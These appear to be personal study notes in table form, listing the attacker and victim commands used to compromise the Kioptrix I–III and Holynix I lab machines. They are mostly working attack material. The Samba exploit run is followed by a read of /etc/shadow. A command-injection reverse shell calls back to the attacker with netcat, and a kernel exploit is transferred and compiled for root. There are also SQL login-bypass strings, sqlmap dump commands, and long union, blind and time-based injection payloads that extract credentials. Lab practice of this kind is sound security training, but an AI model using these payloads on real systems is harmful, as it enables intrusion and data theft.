|  |
| --- |
| **Kioptrix I** |
| **Attacker (Kali Linux)** | **Victim** |
| # ifconfig |  |
| # netdiscover –r [Target Network] |  |
| # nmap –sS –sV –O ip\_address |  |
| # nikto –host ip\_address |  |
| # rcpinfo –p ip\_address |  |
| # nmblookup –A ip\_address |  |
| # smbclient -L //KIOPTRIX –I ip\_address |  |
| # searchxploit samba 2.2 |  |
| # searchsploit apache linux remote |  |
| # gcc 0x333hate.c |  |
| # ./a.out –t ip\_address |  |
|  | id |
|  | uname –a |
|  | pwd |
|  | cat /etc/shadow |
|  | cat /etc/passwd |
| **Kioptrix II** |
| **Attacker (Kali Linux)** | **Victim** |
| # nmap –sS –sV –O ip\_address |  |
| http://ip\_address/ (Browser) |  |
| x’ or ‘x’=‘x |  |
| ip\_address |  |
| ip\_address; ifconfig |  |
| ip\_address; netstat –pl |  |
| ip\_address; whereis nc |  |
| ip\_address; whereis bash |  |
| # nc –lvp 1234 |  |
| ip\_address; /usr/local/bin/nc ip\_attacker 1234 -e '/bin/bash' |  |
|  | id |
|  | uname –a |
| # searchsploit kernel 2.6 linux local|sort -n |  |
| # nc –lvp 9091 < ecploit.c |  |
|  | cd /tmp |
|  | /usr/local/bin/nc ip\_attacker 9091 > exploit.c |
|  | gcc exploit.c |
|  | ./exploit |
|  | id |
|  |  |
| **Holynix I** |
| **Attacker (Kali Linux)** | **Victim** |
| # ifconfig |  |
| # netdiscover –r [Target Network] |  |
| # nmap –sS –sV –O ip\_address |  |
| # nikto –host ip\_address |  |
| http://ip\_address/ (Browser) |  |
| **Bypassing Login Screens*** admin' --
* admin' #
* admin'/\*
* ' or 1=1--
* ' or 1=1#
* ' or 1=1/\*
* ') or '1'='1--
* ') or ('1'='1--
* admin’ or 1=1–
* ‘ or ’1′=’1
* ‘ or 1=1–
* ” or 1=1–
* or 1=1–
* ‘ or ’1′=’1
* ” or “1″=”1
* ‘) or (’1′=’1
* 1 or ‘1=1
* …
 |  |
| # sqlmap.py -u "http://ip\_address/index.php?page=login.php" --data "user\_name=a&password=z&Submit\_button=Submit" --dbs |  |
| # sqlmap.py -u "http://ip\_address/index.php?page=login.php" --data "user\_name=a&password=z&Submit\_button=Submit" --current-db |  |
| # sqlmap.py -u "http://ip\_address/index.php?page=login.php" --data "user\_name=a&password=z&Submit\_button=Submit" –D clients --tables |  |
| # sqlmap.py -u "http://ip\_address/index.php?page=login.php" --data "user\_name=a&password=z&Submit\_button=Submit" –D clients -T accounts --columns |  |
| # sqlmap.py -u "http://ip\_address/index.php?page=login.php" --data "user\_name=a&password=z&Submit\_button=Submit" –D clients -T accounts –C thanks --dump |  |
| # sqlmap.py -u "http://ip\_address/index.php?page=login.php" --data "user\_name=a&password=z&Submit\_button=Submit" –D clients -T accounts --dump |  |
| # sqlmap.py --url "http://ip\_address/?page=login.php" --forms --dump-all |  |
| **SQL Injection Identification*** insert a big integer
* insert a big string
* insert a alphanumeric (new122334)
* insert single quote (‘)
* insert 1’
* insert \’
* insert \’)
* insert double quote (“)
* insert 1”
* insert \”
* insert \”)
* insert \
 |  |
|  |  |
| **Kioptrix III** |
| **Attacker (Kali Linux)** | **Victim** |
| # vi /etc/hostsIp\_address Kioptrix3.com |  |
| # cat /etc/hosts |  |
| http://kioptrix3.com (Browser) |  |
| http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos(insert a big integer, insert a big string, insert a alphanumeric (new122334), insert single quote (‘), insert 1’, insert \’, insert \’), insert double quote (“), insert 1”, insert \”, insert \”), insert \) |  |
| http://kioptrix3.com/gallery/gallery.php?id=1&sort=filename#photos |  |
| # sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=filename#photos" --dbs |  |
| sqlmap.py -u "<http://kioptrix3.com/gallery/gallery.php?id=1&sort=filename#photos>" --dbms=MySQL -D gallery –tables |  |
| ./sqlmap.py - -url "<http://192.168.1.155/?page=login.php>" --forms --dump-all |  |
| ……… |  |
|  |  |
| =1 order by 1--,=1 order by 2--=1 order by 3--=1 order by 4--=1 order by 5--=1 order by 6--1 union select 1,database(),3,4,5,6--1 union select 1,2,schema(),4,5,6--1 union select 1,user(),3,4,5,6--1 union select 1,system\_user(),3,4,5,6--1 union select 1,session\_user(),3,4,5,6--1 union select 1,version(),3,4,5,6--1 union select 1, sleep(2),3,4,5,6--1 union select 1,2,(select database()),4,5,6--1 union select 1,2,(select load\_file('../../../../etc/passwd')),4,5,6--ayto exei problima1 union select 1,2,(select table\_name from information\_schema.tables where table\_schema=database()),4,5,6--1 union select 1,2,(select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),4,5,6--1 union select 1,2,(select table\_name from information\_schema.tables where table\_schema=database() limit 1,1),4,5,6--1 union select 1,2,(select table\_name from information\_schema.tables where table\_schema=database() limit 2,1),4,5,6--ayto exei problima1 union select 1,2,(select table\_name from information\_schema.tables where table\_schema=database() limit 0,2),4,5,6--Note that GROUP\_CONCAT() function concatenates string values in different rows while the CONCAT\_WS() or CONCAT()function concatenates two or more string values in different columns.the GROUP\_CONCAT() function returns the result of values:1 2, and 3 as the β€1,2,3β€™ string.https://www.mysqltutorial.org/mysql-group\_concat/1 union select 1,2,(select group\_concat((select (database())))),4,5,6--1 union select 1,2,(select group\_concat(CHAR(58),(select (database())),CHAR(58))),4,5,6--1 union select 1,2,(select concat((select (database())))),4,5,6--1 union select 1,2,(select concat(CHAR(58),(select (database())),CHAR(58))),4,5,6--1 union select 1,2,(select concat\_ws(',','CHAR(58),(select (database())),CHAR(58))),4,5,6--1 union select 1,2,(select concat\_ws(':','CHAR(58),(select (database())),CHAR(58))),4,5,6--1 union select 1,2,(select concat\_ws('[','CHAR(58),(select (database())),CHAR(58))),4,5,6--1 union select 1,2,(select group\_concat(user(),CHAR(58),(select (database())),CHAR(58))),4,5,6--union select 1,2,(select group\_concat((select user()),CHAR(58),(select (database())),CHAR(58))),4,5,6--union select 1,2,(select group\_concat((select (user())),CHAR(58),(select (database())),CHAR(58))),4,5,6--List Databases1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(table\_schema) from information\_schema.tables),CHAR(58),CHAR(58))),4,5,6--1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(DISTINCT table\_schema) from information\_schema.tables),CHAR(58),CHAR(58))),4,5,6--List Tables1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(table\_schema, table\_name) from information\_schema.tables),CHAR(58),CHAR(58))),4,5,6--1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(table\_schema,CHAR(32), table\_name) from information\_schema.tables),CHAR(58),CHAR(58))),4,5,6--1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(DISTINCT table\_schema,CHAR(32), table\_name,CHAR(58),CHAR(58)) from information\_schema.tables),CHAR(58),CHAR(58))),4,5,6--1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(DISTINCT table\_schema,CHAR(32), table\_name,CHAR(58),CHAR(58)) from information\_schema.tables where table\_schema!='information\_schema'),CHAR(58),CHAR(58))),4,5,6--List Columns1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(DISTINCT table\_schema,CHAR(32), table\_name,CHAR(58), column\_name,CHAR(58)) from information\_schema.columns),CHAR(58),CHAR(58))),4,5,6--1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(DISTINCT table\_schema,CHAR(32), table\_name,CHAR(58), column\_name,CHAR(58)) from information\_schema.columns where table\_schema!='information\_schema'),CHAR(58),CHAR(58))),4,5,6------------------bgazei lathos1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select table\_name from information\_schema.tables where table\_schema=database()),CHAR(58),CHAR(58))),4,5,6--1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),CHAR(58),CHAR(58))),4,5,6--1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(table\_name,CHAR(58),CHAR(58)) from information\_schema.tables where table\_schema=database()),CHAR(58),CHAR(58))),4,5,6--1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(column\_name,CHAR(58),CHAR(58)) from information\_schema.columns where table\_name='dev\_accounts'),CHAR(58),CHAR(58))),4,5,6--1 union select 1,2,(select group\_concat(column\_name,CHAR(58),CHAR(58)) from information\_schema.columns where table\_name='dev\_accounts'),4,5,6--1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(id, CHAR(58), username, CHAR(58), password) from dev\_accounts),CHAR(58),CHAR(58))),4,5,6------------------http://kioptrix3.com/gallery/gallery.php?id=1%20or%20length%28database%28%29%29=5--&sort=photoid#photos(select ascii(substr(database(),1,1))<= 255) 1 or 1=1--1 or 1=0--1 or database()='gallery'--1 or version() like '5%'--1 or length(database())=6--1 or length(database())=7--1 or length(database())=8--1 or substr(database(),1,1)='g'--1 or substr(database(),2,1)='a'--1 or substr(database(),3,1)='l'--1 or substr(database(),1,2)='ga'--1 or substr(database(),1,3)='gal'--1 or ascii(substr(database(),1,1))>34--1 or ascii(substr(database(),1,1))<126--1 or ascii(substr(database(),1,1))=103--1 or (select substr(table\_name,1,1) from information\_schema.tables where table\_schema=database() limit 0,1)='g'--1 or (select substr(table\_name,2,1) from information\_schema.tables where table\_schema=database() limit 0,1)='a'--1 or (select substr(table\_name,1,2) from information\_schema.tables where table\_schema=database() limit 0,1)='ga'--1 or (select ascii(substr(table\_name,1,1)) from information\_schema.tables where table\_schema=database() limit 0,1)>34--1 or (select ascii(substr(table\_name,1,1)) from information\_schema.tables where table\_schema=database() limit 0,1)<126--1 or (select ascii(substr(table\_name,1,1)) from information\_schema.tables where table\_schema=database() limit 0,1)=103------------------1 or (select if((select database())='gallery', sleep(5), null))--1 or (select if(version() like '5%', sleep(5), null))--1 or (select if(length(database())=6, sleep(5), null))--1 or (select if(length(database())=7, sleep(5), null))--1 or (select if(length(database())=8, sleep(5), null))--1 or (select if(substr(database(),1,1)='g', sleep(5), null))--1 or (select if(substr(database(),2,1)='a', sleep(5), null))--1 or (select if(substr(database(),3,1)='l', sleep(5), null))--1 or (select if(substr(database(),1,2)='ga', sleep(5), null))--1 or (select if(substr(database(),1,3)='gal', sleep(5), null))--1 or (select if(ascii(substr(database(),1,1))>34, sleep(5), null))--1 or (select if(ascii(substr(database(),1,1))<126, sleep(5), null))--1 or (select if(ascii(substr(database(),1,1))=103, sleep(5), null))--1 or (select if((select substr(table\_name,1,1) from information\_schema.tables where table\_schema=database() limit 0,1)='g', sleep(5), null))--1 or (select if((select substr(table\_name,1,1) from information\_schema.tables where table\_schema=database() limit 0,1)='g', sleep(1), null))--1 or (select substr(table\_name,2,1) from information\_schema.tables where table\_schema=database() limit 0,1)='a'--1 or (select substr(table\_name,1,2) from information\_schema.tables where table\_schema=database() limit 0,1)='ga'--1 or (select ascii(substr(table\_name,1,1)) from information\_schema.tables where table\_schema=database() limit 0,1)>34--1 or (select ascii(substr(table\_name,1,1)) from information\_schema.tables where table\_schema=database() limit 0,1)<126--1 or (select ascii(substr(table\_name,1,1)) from information\_schema.tables where table\_schema=database() limit 0,1)=103--1 union select 1,2,(select sleep(2)),4,5,6--1 union select 1,2,if((select version() like '5%'), sleep(3), null),4,5,6--1 or sleep(2)--1 or sleep(10)--1 or (select sleep(2))--1 union select 1,2,(select sleep(2)),4,5,6--1 or (select if((select database())="gallery", sleep(3), null))--1 union select 1,2,if((select database())="gallery", sleep(3), null),4,5,6--1 or (select if((select version() like '5%'), sleep(3), null))--1 union select 1,2,if((select version() like '5%'), sleep(3), null),4,5,6--1 or length(database())=6--1 or length(database())=7--1 or length(database())=8--1 or ascii(substr(database(),1,1))=103--1 or ascii(substr(database(),1,1))>34--1 or ascii(substr(database(),1,1))<126--1 union select 1,2,if((ascii(substr(database(),1,1))>34), sleep(3), null),4,5,6--1 union select 1,2,if((ascii(substr(database(),1,1))<126), sleep(3), null),4,5,6--1 union select 1,2,if((ascii(substr(database(),1,1))=103), sleep(3), null),4,5,6--1 or (select if((ascii(substr(database(),1,1))>34), sleep(3), null))--1 or (select if((ascii(substr(database(),1,1))<126), sleep(3), null))--1 or (select if((ascii(substr(database(),1,1))=103), sleep(3), null))-- |  |
|  |  |
|  |  |